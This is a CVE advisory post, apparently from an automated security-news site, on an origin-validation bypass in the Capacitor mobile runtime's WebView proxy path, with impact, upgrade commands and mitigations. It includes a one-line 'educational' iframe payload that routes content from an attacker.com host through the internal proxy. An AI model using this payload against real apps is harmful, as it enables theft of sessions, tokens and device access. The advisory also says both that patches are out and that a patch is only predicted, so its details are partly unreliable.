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Capacitor is a cross-platform native runtime designed for web applications.
It bridges web code with native mobile capabilities on iOS and Android.
An origin-validation vulnerability exists in its WebView navigation guard implementation.
Tracked as CVE-2026-103922, this flaw carries a critical CVSS severity score.
The application relies on an internal HTTP proxy path for resource loading.
This proxy mechanism handles communication between local web assets and endpoints.
Flawed validation logic allows external links to traverse this internal path.
An attacker can craft a malicious hyperlink targeting the mobile application.
When a user clicks this link, the WebView navigation guard triggers.
The guard fails to properly verify the origin of the requested content.
As a result, remote attacker-controlled content loads inside the app origin.
This violates the fundamental browser same-origin policy security model.
Arbitrary scripts injected via this mechanism inherit full application privileges.
These scripts can access sensitive data stored within local storage.
Session cookies, authentication tokens, and cached user details become exposed.
Malicious payloads can also interact with registered native Capacitor plugins.
This grants unauthorized access to device hardware and native features.
The vulnerability impacts affected versions starting from release 6.0.0 onward.
The internal proxy remains active even when CapacitorHttp is disabled.
Exploitation requires no special privileges other than user interaction.
Victims are typically lured via phishing or malicious external web pages.
Automated scanners can detect unpatched dependencies within package manifests.
Security researchers discovered the flaw during deep architecture reviews.
Comprehensive patches were subsequently released in updated runtime versions.
Organizations must audit mobile projects to ensure timely package upgrades.
Failure to patch exposes enterprise mobile assets to complete compromise.
Strict navigation rules and URL filtering provide secondary defense layers.
Developers should review all custom WebView configuration and scheme handlers.
Updating dependencies remains the primary and most effective remediation step.
Continuous monitoring prevents regression and blocks similar bypass vectors.
DailyCVE Form:
Platform: Capacitor mobile runtime
Version: Versions 6.0.0 upwards
Vulnerability: Origin validation bypass
Severity: Critical severity score
Date: October 1 2026
Prediction: October 2026 patch
What Undercode Say:
Analysis of release logs indicates critical architectural weaknesses in modern cross-platform bridges. The flaw in Capacitor highlights risks when internal proxy mechanisms handle remote content loading without strict origin validation checks.
Check current capacitor version in project npm list @capacitor/core Update capacitor packages to patched release npm install @capacitor/core@latest @capacitor/android@latest @capacitor/ios@latest
Exploit: (Educational Purposes!)
<!-- Conceptual navigation trigger targeting internal proxy path --> <iframe src="capacitor://localhost/_capacitor_http_proxy?url=https://attacker.com/malicious.html"></iframe>
An attacker induces a victim to open a specially crafted link that forces the WebView to navigate toward the internal proxy path, injecting external scripts into the trusted origin context.
Protection: from this CVE
Upgrade all Capacitor core and platform packages to version 6.2.0 or later.
Implement strict content security policy (CSP) headers to restrict unauthorized script execution.
Validate and sanitize all external navigation URLs handled within mobile application WebViews.
Impact:
Successful exploitation grants malicious remote scripts full access to sensitive application storage, session cookies, and native device capabilities exposed via registered Capacitor plugins, leading to complete client-side compromise.
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Sources:
Reported By: github.com
Extra Source Hub:
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